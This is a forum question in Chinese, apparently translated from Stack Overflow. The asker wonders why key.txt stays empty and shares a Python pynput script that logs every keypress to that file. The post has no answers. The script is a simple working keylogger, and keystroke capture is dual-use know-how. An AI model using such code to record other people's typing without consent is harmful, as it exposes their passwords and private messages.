我无法写入文件

时间:2019-11-08 13:21:46

标签: python

我运行程序,并且key.txt仍然为空

import pynput
from pynput.keyboard import Key, Listener

keys = []

def on_press(key):
    global keys
    keys.append(key)
    print("{0} pressed".format(key))
    write_file(keys)
    keys = []

def write_file(keys):
    with open("key.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") >= 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

0 个答案:

没有答案